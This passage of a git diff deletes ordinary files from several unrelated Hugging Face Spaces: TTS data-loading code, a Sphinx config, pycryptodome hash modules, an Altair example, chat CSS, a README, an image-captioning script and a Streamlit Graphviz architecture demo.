-        language_ids = batch["language_ids"]
-        max_text_length = torch.max(text_lengths.float())
-        max_spec_length = torch.max(mel_lengths.float())
-
-        # compute durations from attention masks
-        durations = None
-        if attn_mask is not None:
-            durations = torch.zeros(attn_mask.shape[0], attn_mask.shape[2])
-            for idx, am in enumerate(attn_mask):
-                # compute raw durations
-                c_idxs = am[:, : text_lengths[idx], : mel_lengths[idx]].max(1)[1]
-                # c_idxs, counts = torch.unique_consecutive(c_idxs, return_counts=True)
-                c_idxs, counts = torch.unique(c_idxs, return_counts=True)
-                dur = torch.ones([text_lengths[idx]]).to(counts.dtype)
-                dur[c_idxs] = counts
-                # smooth the durations and set any 0 duration to 1
-                # by cutting off from the largest duration indeces.
-                extra_frames = dur.sum() - mel_lengths[idx]
-                largest_idxs = torch.argsort(-dur)[:extra_frames]
-                dur[largest_idxs] -= 1
-                assert (
-                    dur.sum() == mel_lengths[idx]
-                ), f" [!] total duration {dur.sum()} vs spectrogram length {mel_lengths[idx]}"
-                durations[idx, : text_lengths[idx]] = dur
-
-        # set stop targets wrt reduction factor
-        stop_targets = stop_targets.view(text_input.shape[0], stop_targets.size(1) // self.config.r, -1)
-        stop_targets = (stop_targets.sum(2) > 0.0).unsqueeze(2).float().squeeze(2)
-        stop_target_lengths = torch.divide(mel_lengths, self.config.r).ceil_()
-
-        return {
-            "text_input": text_input,
-            "text_lengths": text_lengths,
-            "speaker_names": speaker_names,
-            "mel_input": mel_input,
-            "mel_lengths": mel_lengths,
-            "linear_input": linear_input,
-            "stop_targets": stop_targets,
-            "stop_target_lengths": stop_target_lengths,
-            "attn_mask": attn_mask,
-            "durations": durations,
-            "speaker_ids": speaker_ids,
-            "d_vectors": d_vectors,
-            "max_text_length": float(max_text_length),
-            "max_spec_length": float(max_spec_length),
-            "item_idx": item_idx,
-            "waveform": waveform,
-            "pitch": pitch,
-            "energy": energy,
-            "language_ids": language_ids,
-            "audio_unique_names": batch["audio_unique_names"],
-        }
-
-    def get_sampler(self, config: Coqpit, dataset: TTSDataset, num_gpus=1):
-        weights = None
-        data_items = dataset.samples
-
-        if getattr(config, "use_language_weighted_sampler", False):
-            alpha = getattr(config, "language_weighted_sampler_alpha", 1.0)
-            print(" > Using Language weighted sampler with alpha:", alpha)
-            weights = get_language_balancer_weights(data_items) * alpha
-
-        if getattr(config, "use_speaker_weighted_sampler", False):
-            alpha = getattr(config, "speaker_weighted_sampler_alpha", 1.0)
-            print(" > Using Speaker weighted sampler with alpha:", alpha)
-            if weights is not None:
-                weights += get_speaker_balancer_weights(data_items) * alpha
-            else:
-                weights = get_speaker_balancer_weights(data_items) * alpha
-
-        if getattr(config, "use_length_weighted_sampler", False):
-            alpha = getattr(config, "length_weighted_sampler_alpha", 1.0)
-            print(" > Using Length weighted sampler with alpha:", alpha)
-            if weights is not None:
-                weights += get_length_balancer_weights(data_items) * alpha
-            else:
-                weights = get_length_balancer_weights(data_items) * alpha
-
-        if weights is not None:
-            sampler = WeightedRandomSampler(weights, len(weights))
-        else:
-            sampler = None
-
-        # sampler for DDP
-        if sampler is None:
-            sampler = DistributedSampler(dataset) if num_gpus > 1 else None
-        else:  # If a sampler is already defined use this sampler and DDP sampler together
-            sampler = DistributedSamplerWrapper(sampler) if num_gpus > 1 else sampler
-
-        return sampler
-
-    def get_data_loader(
-        self,
-        config: Coqpit,
-        assets: Dict,
-        is_eval: bool,
-        samples: Union[List[Dict], List[List]],
-        verbose: bool,
-        num_gpus: int,
-        rank: int = None,
-    ) -> "DataLoader":
-        if is_eval and not config.run_eval:
-            loader = None
-        else:
-            # setup multi-speaker attributes
-            if self.speaker_manager is not None:
-                if hasattr(config, "model_args"):
-                    speaker_id_mapping = (
-                        self.speaker_manager.name_to_id if config.model_args.use_speaker_embedding else None
-                    )
-                    d_vector_mapping = self.speaker_manager.embeddings if config.model_args.use_d_vector_file else None
-                    config.use_d_vector_file = config.model_args.use_d_vector_file
-                else:
-                    speaker_id_mapping = self.speaker_manager.name_to_id if config.use_speaker_embedding else None
-                    d_vector_mapping = self.speaker_manager.embeddings if config.use_d_vector_file else None
-            else:
-                speaker_id_mapping = None
-                d_vector_mapping = None
-
-            # setup multi-lingual attributes
-            if self.language_manager is not None:
-                language_id_mapping = self.language_manager.name_to_id if self.args.use_language_embedding else None
-            else:
-                language_id_mapping = None
-
-            # init dataloader
-            dataset = TTSDataset(
-                outputs_per_step=config.r if "r" in config else 1,
-                compute_linear_spec=config.model.lower() == "tacotron" or config.compute_linear_spec,
-                compute_f0=config.get("compute_f0", False),
-                f0_cache_path=config.get("f0_cache_path", None),
-                compute_energy=config.get("compute_energy", False),
-                energy_cache_path=config.get("energy_cache_path", None),
-                samples=samples,
-                ap=self.ap,
-                return_wav=config.return_wav if "return_wav" in config else False,
-                batch_group_size=0 if is_eval else config.batch_group_size * config.batch_size,
-                min_text_len=config.min_text_len,
-                max_text_len=config.max_text_len,
-                min_audio_len=config.min_audio_len,
-                max_audio_len=config.max_audio_len,
-                phoneme_cache_path=config.phoneme_cache_path,
-                precompute_num_workers=config.precompute_num_workers,
-                use_noise_augment=False if is_eval else config.use_noise_augment,
-                verbose=verbose,
-                speaker_id_mapping=speaker_id_mapping,
-                d_vector_mapping=d_vector_mapping if config.use_d_vector_file else None,
-                tokenizer=None,
-                start_by_longest=config.start_by_longest,
-                language_id_mapping=language_id_mapping,
-            )
-
-            # wait all the DDP process to be ready
-            if num_gpus > 1:
-                dist.barrier()
-
-            # sort input sequences from short to long
-            dataset.preprocess_samples()
-
-            # get samplers
-            sampler = self.get_sampler(config, dataset, num_gpus)
-
-            loader = DataLoader(
-                dataset,
-                batch_size=config.eval_batch_size if is_eval else config.batch_size,
-                shuffle=config.shuffle if sampler is None else False,  # if there is no other sampler
-                collate_fn=dataset.collate_fn,
-                drop_last=config.drop_last,  # setting this False might cause issues in AMP training.
-                sampler=sampler,
-                num_workers=config.num_eval_loader_workers if is_eval else config.num_loader_workers,
-                pin_memory=False,
-            )
-        return loader
-
-    def _get_test_aux_input(
-        self,
-    ) -> Dict:
-        d_vector = None
-        if self.config.use_d_vector_file:
-            d_vector = [self.speaker_manager.embeddings[name]["embedding"] for name in self.speaker_manager.embeddings]
-            d_vector = (random.sample(sorted(d_vector), 1),)
-
-        aux_inputs = {
-            "speaker_id": None
-            if not self.config.use_speaker_embedding
-            else random.sample(sorted(self.speaker_manager.name_to_id.values()), 1),
-            "d_vector": d_vector,
-            "style_wav": None,  # TODO: handle GST style input
-        }
-        return aux_inputs
-
-    def test_run(self, assets: Dict) -> Tuple[Dict, Dict]:
-        """Generic test run for `vc` models used by `Trainer`.
-
-        You can override this for a different behaviour.
-
-        Args:
-            assets (dict): A dict of training assets. For `vc` models, it must include `{'audio_processor': ap}`.
-
-        Returns:
-            Tuple[Dict, Dict]: Test figures and audios to be projected to Tensorboard.
-        """
-        print(" | > Synthesizing test sentences.")
-        test_audios = {}
-        test_figures = {}
-        test_sentences = self.config.test_sentences
-        aux_inputs = self._get_test_aux_input()
-        for idx, sen in enumerate(test_sentences):
-            if isinstance(sen, list):
-                aux_inputs = self.get_aux_input_from_test_sentences(sen)
-                sen = aux_inputs["text"]
-            outputs_dict = synthesis(
-                self,
-                sen,
-                self.config,
-                "cuda" in str(next(self.parameters()).device),
-                speaker_id=aux_inputs["speaker_id"],
-                d_vector=aux_inputs["d_vector"],
-                style_wav=aux_inputs["style_wav"],
-                use_griffin_lim=True,
-                do_trim_silence=False,
-            )
-            test_audios["{}-audio".format(idx)] = outputs_dict["wav"]
-            test_figures["{}-prediction".format(idx)] = plot_spectrogram(
-                outputs_dict["outputs"]["model_outputs"], self.ap, output_fig=False
-            )
-            test_figures["{}-alignment".format(idx)] = plot_alignment(
-                outputs_dict["outputs"]["alignments"], output_fig=False
-            )
-        return test_figures, test_audios
-
-    def on_init_start(self, trainer):
-        """Save the speaker.pth and language_ids.json at the beginning of the training. Also update both paths."""
-        if self.speaker_manager is not None:
-            output_path = os.path.join(trainer.output_path, "speakers.pth")
-            self.speaker_manager.save_ids_to_file(output_path)
-            trainer.config.speakers_file = output_path
-            # some models don't have `model_args` set
-            if hasattr(trainer.config, "model_args"):
-                trainer.config.model_args.speakers_file = output_path
-            trainer.config.save_json(os.path.join(trainer.output_path, "config.json"))
-            print(f" > `speakers.pth` is saved to {output_path}.")
-            print(" > `speakers_file` is updated in the config.json.")
-
-        if self.language_manager is not None:
-            output_path = os.path.join(trainer.output_path, "language_ids.json")
-            self.language_manager.save_ids_to_file(output_path)
-            trainer.config.language_ids_file = output_path
-            if hasattr(trainer.config, "model_args"):
-                trainer.config.model_args.language_ids_file = output_path
-            trainer.config.save_json(os.path.join(trainer.output_path, "config.json"))
-            print(f" > `language_ids.json` is saved to {output_path}.")
-            print(" > `language_ids_file` is updated in the config.json.")
diff --git a/spaces/artificialguybr/video-dubbing/TTS/docs/source/conf.py b/spaces/artificialguybr/video-dubbing/TTS/docs/source/conf.py
deleted file mode 100644
index b85324fd4091fdc0a4b910008ea3a4f41e3dcbe4..0000000000000000000000000000000000000000
--- a/spaces/artificialguybr/video-dubbing/TTS/docs/source/conf.py
+++ /dev/null
@@ -1,120 +0,0 @@
-# Configuration file for the Sphinx documentation builder.
-#
-# This file only contains a selection of the most common options. For a full
-# list see the documentation:
-# https://www.sphinx-doc.org/en/master/usage/configuration.html
-
-# -- Path setup --------------------------------------------------------------
-
-# If extensions (or modules to document with autodoc) are in another directory,
-# add these directories to sys.path here. If the directory is relative to the
-# documentation root, use os.path.abspath to make it absolute, like shown here.
-#
-import os
-import sys
-
-sys.path.insert(0, os.path.abspath('../..'))
-
-# mock deps with system level requirements.
-autodoc_mock_imports = ["soundfile"]
-
-# -- Project information -----------------------------------------------------
-project = 'TTS'
-copyright = "2021 Coqui GmbH, 2020 TTS authors"
-author = 'Coqui GmbH'
-
-with open("../../TTS/VERSION", "r") as ver:
-    version = ver.read().strip()
-
-# The version info for the project you're documenting, acts as replacement for
-# |version| and |release|, also used in various other places throughout the
-# built documents.
-release = version
-
-# The main toctree document.
-master_doc = "index"
-
-# -- General configuration ---------------------------------------------------
-
-# Add any Sphinx extension module names here, as strings. They can be
-# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom
-# ones.
-extensions = [
-    'sphinx.ext.autodoc',
-    'sphinx.ext.autosummary',
-    'sphinx.ext.doctest',
-    'sphinx.ext.intersphinx',
-    'sphinx.ext.todo',
-    'sphinx.ext.coverage',
-    'sphinx.ext.napoleon',
-    'sphinx.ext.viewcode',
-    'sphinx.ext.autosectionlabel',
-    'myst_parser',
-    "sphinx_copybutton",
-    "sphinx_inline_tabs",
-]
-
-
-# Add any paths that contain templates here, relative to this directory.
-templates_path = ['_templates']
-
-# List of patterns, relative to source directory, that match files and
-# directories to ignore when looking for source files.
-# This pattern also affects html_static_path and html_extra_path.
-exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store', 'TODO/*']
-
-source_suffix = [".rst", ".md"]
-
-myst_enable_extensions = ['linkify',]
-
-# 'sphinxcontrib.katex',
-# 'sphinx.ext.autosectionlabel',
-
-
-# autosectionlabel throws warnings if section names are duplicated.
-# The following tells autosectionlabel to not throw a warning for
-# duplicated section names that are in different documents.
-autosectionlabel_prefix_document = True
-
-language = 'en'
-
-autodoc_inherit_docstrings = False
-
-# Disable displaying type annotations, these can be very verbose
-autodoc_typehints = 'none'
-
-# Enable overriding of function signatures in the first line of the docstring.
-autodoc_docstring_signature = True
-
-napoleon_custom_sections = [('Shapes', 'shape')]
-
-
-# -- Options for HTML output -------------------------------------------------
-
-# The theme to use for HTML and HTML Help pages.  See the documentation for
-# a list of builtin themes.
-#
-html_theme = 'furo'
-html_tite = "TTS"
-html_theme_options = {
-    "light_logo": "logo.png",
-    "dark_logo": "logo.png",
-    "sidebar_hide_name": True,
-}
-
-html_sidebars = {
-        '**': [
-               "sidebar/scroll-start.html",
-    "sidebar/brand.html",
-    "sidebar/search.html",
-    "sidebar/navigation.html",
-    "sidebar/ethical-ads.html",
-    "sidebar/scroll-end.html",
-        ]
-    }
-
-
-# Add any paths that contain custom static files (such as style sheets) here,
-# relative to this directory. They are copied after the builtin static files,
-# so a file named "default.css" will overwrite the builtin "default.css".
-html_static_path = ['_static']
diff --git a/spaces/arxify/RVC-beta-v2-0618/runtime/Lib/site-packages/Crypto/Hash/MD2.py b/spaces/arxify/RVC-beta-v2-0618/runtime/Lib/site-packages/Crypto/Hash/MD2.py
deleted file mode 100644
index 41decbb6ab48d6f1f3bf5f2e6c7ad08d9c6c275b..0000000000000000000000000000000000000000
--- a/spaces/arxify/RVC-beta-v2-0618/runtime/Lib/site-packages/Crypto/Hash/MD2.py
+++ /dev/null
@@ -1,166 +0,0 @@
-# ===================================================================
-#
-# Copyright (c) 2014, Legrandin 
-# All rights reserved.
-#
-# Redistribution and use in source and binary forms, with or without
-# modification, are permitted provided that the following conditions
-# are met:
-#
-# 1. Redistributions of source code must retain the above copyright
-#    notice, this list of conditions and the following disclaimer.
-# 2. Redistributions in binary form must reproduce the above copyright
-#    notice, this list of conditions and the following disclaimer in
-#    the documentation and/or other materials provided with the
-#    distribution.
-#
-# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
-# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
-# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
-# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
-# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
-# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
-# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
-# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
-# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
-# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
-# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
-# POSSIBILITY OF SUCH DAMAGE.
-# ===================================================================
-
-from Crypto.Util.py3compat import bord
-
-from Crypto.Util._raw_api import (load_pycryptodome_raw_lib,
-                                  VoidPointer, SmartPointer,
-                                  create_string_buffer,
-                                  get_raw_buffer, c_size_t,
-                                  c_uint8_ptr)
-
-_raw_md2_lib = load_pycryptodome_raw_lib(
-                        "Crypto.Hash._MD2",
-                        """
-                        int md2_init(void **shaState);
-                        int md2_destroy(void *shaState);
-                        int md2_update(void *hs,
-                                          const uint8_t *buf,
-                                          size_t len);
-                        int md2_digest(const void *shaState,
-                                          uint8_t digest[20]);
-                        int md2_copy(const void *src, void *dst);
-                        """)
-
-
-class MD2Hash(object):
-    """An MD2 hash object.
-    Do not instantiate directly. Use the :func:`new` function.
-
-    :ivar oid: ASN.1 Object ID
-    :vartype oid: string
-
-    :ivar block_size: the size in bytes of the internal message block,
-                      input to the compression function
-    :vartype block_size: integer
-
-    :ivar digest_size: the size in bytes of the resulting hash
-    :vartype digest_size: integer
-    """
-
-    # The size of the resulting hash in bytes.
-    digest_size = 16
-    # The internal block size of the hash algorithm in bytes.
-    block_size = 16
-    # ASN.1 Object ID
-    oid = "1.2.840.113549.2.2"
-
-    def __init__(self, data=None):
-        state = VoidPointer()
-        result = _raw_md2_lib.md2_init(state.address_of())
-        if result:
-            raise ValueError("Error %d while instantiating MD2"
-                             % result)
-        self._state = SmartPointer(state.get(),
-                                   _raw_md2_lib.md2_destroy)
-        if data:
-            self.update(data)
-
-    def update(self, data):
-        """Continue hashing of a message by consuming the next chunk of data.
-
-        Args:
-            data (byte string/byte array/memoryview): The next chunk of the message being hashed.
-        """
-
-        result = _raw_md2_lib.md2_update(self._state.get(),
-                                         c_uint8_ptr(data),
-                                         c_size_t(len(data)))
-        if result:
-            raise ValueError("Error %d while instantiating MD2"
-                             % result)
-
-    def digest(self):
-        """Return the **binary** (non-printable) digest of the message that has been hashed so far.
-
-        :return: The hash digest, computed over the data processed so far.
-                 Binary form.
-        :rtype: byte string
-        """
-
-        bfr = create_string_buffer(self.digest_size)
-        result = _raw_md2_lib.md2_digest(self._state.get(),
-                                         bfr)
-        if result:
-            raise ValueError("Error %d while instantiating MD2"
-                             % result)
-
-        return get_raw_buffer(bfr)
-
-    def hexdigest(self):
-        """Return the **printable** digest of the message that has been hashed so far.
-
-        :return: The hash digest, computed over the data processed so far.
-                 Hexadecimal encoded.
-        :rtype: string
-        """
-
-        return "".join(["%02x" % bord(x) for x in self.digest()])
-
-    def copy(self):
-        """Return a copy ("clone") of the hash object.
-
-        The copy will have the same internal state as the original hash
-        object.
-        This can be used to efficiently compute the digests of strings that
-        share a common initial substring.
-
-        :return: A hash object of the same type
-        """
-
-        clone = MD2Hash()
-        result = _raw_md2_lib.md2_copy(self._state.get(),
-                                       clone._state.get())
-        if result:
-            raise ValueError("Error %d while copying MD2" % result)
-        return clone
-
-    def new(self, data=None):
-        return MD2Hash(data)
-
-
-def new(data=None):
-    """Create a new hash object.
-
-    :parameter data:
-        Optional. The very first chunk of the message to hash.
-        It is equivalent to an early call to :meth:`MD2Hash.update`.
-    :type data: bytes/bytearray/memoryview
-
-    :Return: A :class:`MD2Hash` hash object
-    """
-
-    return MD2Hash().new(data)
-
-# The size of the resulting hash in bytes.
-digest_size = MD2Hash.digest_size
-
-# The internal block size of the hash algorithm in bytes.
-block_size = MD2Hash.block_size
diff --git a/spaces/arxify/RVC-beta-v2-0618/runtime/Lib/site-packages/Crypto/Hash/TupleHash256.py b/spaces/arxify/RVC-beta-v2-0618/runtime/Lib/site-packages/Crypto/Hash/TupleHash256.py
deleted file mode 100644
index 9b4fba08159eca8ce50dba22fda0e95945a7e285..0000000000000000000000000000000000000000
--- a/spaces/arxify/RVC-beta-v2-0618/runtime/Lib/site-packages/Crypto/Hash/TupleHash256.py
+++ /dev/null
@@ -1,73 +0,0 @@
-# ===================================================================
-#
-# Copyright (c) 2021, Legrandin 
-# All rights reserved.
-#
-# Redistribution and use in source and binary forms, with or without
-# modification, are permitted provided that the following conditions
-# are met:
-#
-# 1. Redistributions of source code must retain the above copyright
-#    notice, this list of conditions and the following disclaimer.
-# 2. Redistributions in binary form must reproduce the above copyright
-#    notice, this list of conditions and the following disclaimer in
-#    the documentation and/or other materials provided with the
-#    distribution.
-#
-# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
-# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
-# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
-# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
-# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
-# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
-# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
-# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
-# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
-# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
-# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
-# POSSIBILITY OF SUCH DAMAGE.
-# ===================================================================
-
-from . import cSHAKE256
-from .TupleHash128 import TupleHash
-
-
-def new(**kwargs):
-    """Create a new TupleHash256 object.
-
-    Args:
-       digest_bytes (integer):
-        Optional. The size of the digest, in bytes.
-        Default is 64. Minimum is 8.
-       digest_bits (integer):
-        Optional and alternative to ``digest_bytes``.
-        The size of the digest, in bits (and in steps of 8).
-        Default is 512. Minimum is 64.
-       custom (bytes):
-        Optional.
-        A customization bytestring (``S`` in SP 800-185).
-
-    :Return: A :class:`TupleHash` object
-    """
-
-    digest_bytes = kwargs.pop("digest_bytes", None)
-    digest_bits = kwargs.pop("digest_bits", None)
-    if None not in (digest_bytes, digest_bits):
-        raise TypeError("Only one digest parameter must be provided")
-    if (None, None) == (digest_bytes, digest_bits):
-        digest_bytes = 64
-    if digest_bytes is not None:
-        if digest_bytes < 8:
-            raise ValueError("'digest_bytes' must be at least 8")
-    else:
-        if digest_bits < 64 or digest_bits % 8:
-            raise ValueError("'digest_bytes' must be at least 64 "
-                             "in steps of 8")
-        digest_bytes = digest_bits // 8
-
-    custom = kwargs.pop("custom", b'')
-
-    if kwargs:
-        raise TypeError("Unknown parameters: " + str(kwargs))
-
-    return TupleHash(custom, cSHAKE256, digest_bytes)
diff --git a/spaces/arxify/RVC-beta-v2-0618/runtime/Lib/site-packages/altair/examples/normalized_stacked_bar_chart.py b/spaces/arxify/RVC-beta-v2-0618/runtime/Lib/site-packages/altair/examples/normalized_stacked_bar_chart.py
deleted file mode 100644
index 307a452d243f6e4af7ef95639fa810f4e138689e..0000000000000000000000000000000000000000
--- a/spaces/arxify/RVC-beta-v2-0618/runtime/Lib/site-packages/altair/examples/normalized_stacked_bar_chart.py
+++ /dev/null
@@ -1,16 +0,0 @@
-"""
-Normalized Stacked Bar Chart
-----------------------------
-This is an example of a normalized stacked bar chart using data which contains crop yields over different regions and different years in the 1930s.
-"""
-# category: bar charts
-import altair as alt
-from vega_datasets import data
-
-source = data.barley()
-
-alt.Chart(source).mark_bar().encode(
-    x=alt.X('sum(yield)', stack="normalize"),
-    y='variety',
-    color='site'
-)
diff --git a/spaces/ashercn97/AsherTesting/css/chat_style-wpp.css b/spaces/ashercn97/AsherTesting/css/chat_style-wpp.css
deleted file mode 100644
index 14b408784d182c13a495aa65d63365a531ab52f6..0000000000000000000000000000000000000000
--- a/spaces/ashercn97/AsherTesting/css/chat_style-wpp.css
+++ /dev/null
@@ -1,55 +0,0 @@
-.message {
-    padding-bottom: 25px;
-    font-size: 15px;
-    font-family: Helvetica, Arial, sans-serif;
-    line-height: 1.428571429;
-}
-
-.text-you {
-    background-color: #d9fdd3;
-    border-radius: 15px;
-    padding: 10px;
-    padding-top: 5px;
-    float: right;
-}
-
-.text-bot {
-    background-color: #f2f2f2;
-    border-radius: 15px;
-    padding: 10px;
-    padding-top: 5px;
-}
-
-.dark .text-you {
-    background-color: #005c4b;
-    color: #111b21;
-}
-
-.dark .text-bot {
-    background-color: #1f2937;
-    color: #111b21;
-}
-
-.text-bot p, .text-you p {
-    margin-top: 5px;
-}
-
-.message-body img {
-    max-width: 300px;
-    max-height: 300px;
-    border-radius: 20px;
-}
-
-.message-body p {
-    margin-bottom: 0 !important;
-    font-size: 15px !important;
-    line-height: 1.428571429 !important;
-}
-
-.dark .message-body p em {
-    color: rgb(138, 138, 138) !important;
-}
-
-.message-body p em {
-    color: rgb(110, 110, 110) !important;
-}
\ No newline at end of file
diff --git a/spaces/astroweb/README/README.md b/spaces/astroweb/README/README.md
deleted file mode 100644
index 31e9368f461c5458e88ae3ef67954269a38d6538..0000000000000000000000000000000000000000
--- a/spaces/astroweb/README/README.md
+++ /dev/null
@@ -1,10 +0,0 @@
----
-title: README
-emoji: 🔥
-colorFrom: red
-colorTo: indigo
-sdk: static
-pinned: false
----
-
-Edit this `README.md` markdown file to author your organization card 🔥
diff --git a/spaces/aswinkvj/image_captioning/model.py b/spaces/aswinkvj/image_captioning/model.py
deleted file mode 100644
index 0666e788cc5b2c13f19a12acd7a40d985cccb1b8..0000000000000000000000000000000000000000
--- a/spaces/aswinkvj/image_captioning/model.py
+++ /dev/null
@@ -1,82 +0,0 @@
-import json
-import os, shutil
-import random
-
-
-from PIL import Image
-import jax
-from transformers import FlaxVisionEncoderDecoderModel, ViTFeatureExtractor, AutoTokenizer
-from huggingface_hub import hf_hub_download
-
-
-# create target model directory
-model_dir = './models/'
-os.makedirs(model_dir, exist_ok=True)
-
-files_to_download = [
-    "config.json",
-    "flax_model.msgpack",
-    "merges.txt",
-    "special_tokens_map.json",
-    "tokenizer.json",
-    "tokenizer_config.json",
-    "vocab.json",
-    "preprocessor_config.json",
-]
-
-# copy files from checkpoint hub:
-for fn in files_to_download:
-    file_path = hf_hub_download("ydshieh/vit-gpt2-coco-en-ckpts", f"ckpt_epoch_3_step_6900/{fn}")
-    shutil.copyfile(file_path, os.path.join(model_dir, fn))
-
-model = FlaxVisionEncoderDecoderModel.from_pretrained(model_dir)
-feature_extractor = ViTFeatureExtractor.from_pretrained(model_dir)
-tokenizer = AutoTokenizer.from_pretrained(model_dir)
-
-max_length = 16
-num_beams = 4
-gen_kwargs = {"max_length": max_length, "num_beams": num_beams}
-
-
-@jax.jit
-def generate(pixel_values):
-    output_ids = model.generate(pixel_values, **gen_kwargs).sequences
-    return output_ids
-
-
-def predict(image):
-
-    if image.mode != "RGB":
-        image = image.convert(mode="RGB")
-
-    pixel_values = feature_extractor(images=image, return_tensors="np").pixel_values
-
-    output_ids = generate(pixel_values)
-    preds = tokenizer.batch_decode(output_ids, skip_special_tokens=True)
-    preds = [pred.strip() for pred in preds]
-
-    return preds[0]
-
-
-def _compile():
-
-    image_path = 'samples/val_000000039769.jpg'
-    image = Image.open(image_path)
-    predict(image)
-    image.close()
-
-
-_compile()
-
-
-sample_dir = './samples/'
-sample_image_ids = tuple(["None"] + [int(f.replace('COCO_val2017_', '').replace('.jpg', '')) for f in os.listdir(sample_dir) if f.startswith('COCO_val2017_')])
-
-with open(os.path.join(sample_dir, "coco-val2017-img-ids.json"), "r", encoding="UTF-8") as fp:
-    coco_2017_val_image_ids = json.load(fp)
-
-
-def get_random_image_id():
-
-    image_id = random.sample(coco_2017_val_image_ids, k=1)[0]
-    return image_id
diff --git a/spaces/awacke1/RLHF.Knowledge.Graph.GraphViz.Dynamic.Architecture.Diagram/app.py b/spaces/awacke1/RLHF.Knowledge.Graph.GraphViz.Dynamic.Architecture.Diagram/app.py
deleted file mode 100644
index b79be955c31e3110b385accb4078915ad952a3d3..0000000000000000000000000000000000000000
--- a/spaces/awacke1/RLHF.Knowledge.Graph.GraphViz.Dynamic.Architecture.Diagram/app.py
+++ /dev/null
@@ -1,146 +0,0 @@
-import streamlit as st
-from graphviz import Digraph
-
-
-st.markdown("""
-Prompt:
-Create an interactive streamlit graph builder using the graphviz diagram model language and the streamlit feature: st.graphviz_chart(figure_or_dot, use_container_width=False) to show an azure cloud architecture model including the top ten architecture components for python full stack development for web, api, ml, models, datasets torch, transformers, streamlit, azure docker and kubernetes pods for scaling
-
-""")
-
-# Dot demo:
-import streamlit as st
-
-# Define the default graphviz DOT string
-default_dot = """
-digraph G {
-    rankdir=LR
-    node [shape=box]
-    WebApp -> API
-    API -> Models
-    API -> Datasets
-    Models -> Torch
-    Models -> Transformers
-    WebApp -> Streamlit
-    Streamlit -> Azure
-    Azure -> Docker
-    Azure -> Kubernetes
-}
-"""
-
-# Define the list of top 10 components
-components = [
-    "WebApp",
-    "API",
-    "Models",
-    "Datasets",
-    "Torch",
-    "Transformers",
-    "Streamlit",
-    "Azure",
-    "Docker",
-    "Kubernetes",
-]
-
-# Define a dictionary to map component names to DOT node IDs
-node_ids = {
-    component: component.lower()
-    for component in components
-}
-
-def build_dot_string(selected_components):
-    """Builds a DOT string representing the selected components"""
-    selected_nodes = [node_ids[component] for component in selected_components]
-    dot = """
-    digraph G {
-        rankdir=LR
-        node [shape=box]
-    """
-    for node in selected_nodes:
-        dot += f"{node} [color=blue]\n"
-    for i in range(len(selected_nodes)):
-        for j in range(i+1, len(selected_nodes)):
-            dot += f"{selected_nodes[i]} -> {selected_nodes[j]}\n"
-    dot += "}"
-    return dot
-
-def main():
-    st.title("Azure Cloud Architecture Builder")
-
-    # Select the components
-    st.sidebar.title("Select components")
-    selected_components = st.sidebar.multiselect(
-        "Select the top 10 components",
-        components,
-        default=components[:3]
-    )
-
-    # Build the DOT string
-    dot = build_dot_string(selected_components)
-
-    # Render the graphviz chart
-    st.graphviz_chart(dot, use_container_width=True)
-
-if __name__ == "__main__":
-    main()
-
-
-
-# Initialize the graph
-graph = Digraph(comment='Architectural Model')
-
-# Add nodes to the graph
-graph.node('data_layer', 'Data Layer')
-graph.node('acr', 'Azure Container Registry')
-graph.node('aks', 'Azure Kubernetes\n& Docker Container Pod\nwith Scalability')
-graph.node('snowflake', 'Snowflake Instance')
-graph.node('cosmos', 'Azure Cosmos\nDatabase')
-graph.node('api', 'API Standard\n(using Uvicorn)')
-graph.node('soar', 'SOAR Component\n(on Linux Python\nSlimbuster Docker)')
-
-# Add edges to the graph
-graph.edge('data_layer', 'acr')
-graph.edge('acr', 'aks')
-graph.edge('aks', 'snowflake')
-graph.edge('aks', 'cosmos')
-graph.edge('aks', 'api')
-graph.edge('aks', 'soar')
-
-# Define the Streamlit app
-def app():
-    st.title('Architectural Model')
-    
-    # Draw the graph
-    st.graphviz_chart(graph.source)
-    
-    # Add buttons to customize the graph
-    if st.button('Hide Data Layer'):
-        graph.node('data_layer', style='invisible')
-    
-    if st.button('Hide Snowflake Instance'):
-        graph.node('snowflake', style='invisible')
-    
-    if st.button('Hide SOAR Component'):
-        graph.node('soar', style='invisible')
-
-
-
-st.markdown("""
-# QA Model Spaces:
-QA use cases include QA, Semantic Document and FAQ Search.
-1. Streamlit Question Answering w Hugging Face: https://huggingface.co/spaces/awacke1/Question-answering
-2. Seq2Seq:
-	- https://huggingface.co/spaces/awacke1/4-Seq2SeqQAT5
-	- https://huggingface.co/spaces/awacke1/AW-04-GR-Seq-2-Seq-QA-Auto-Gen
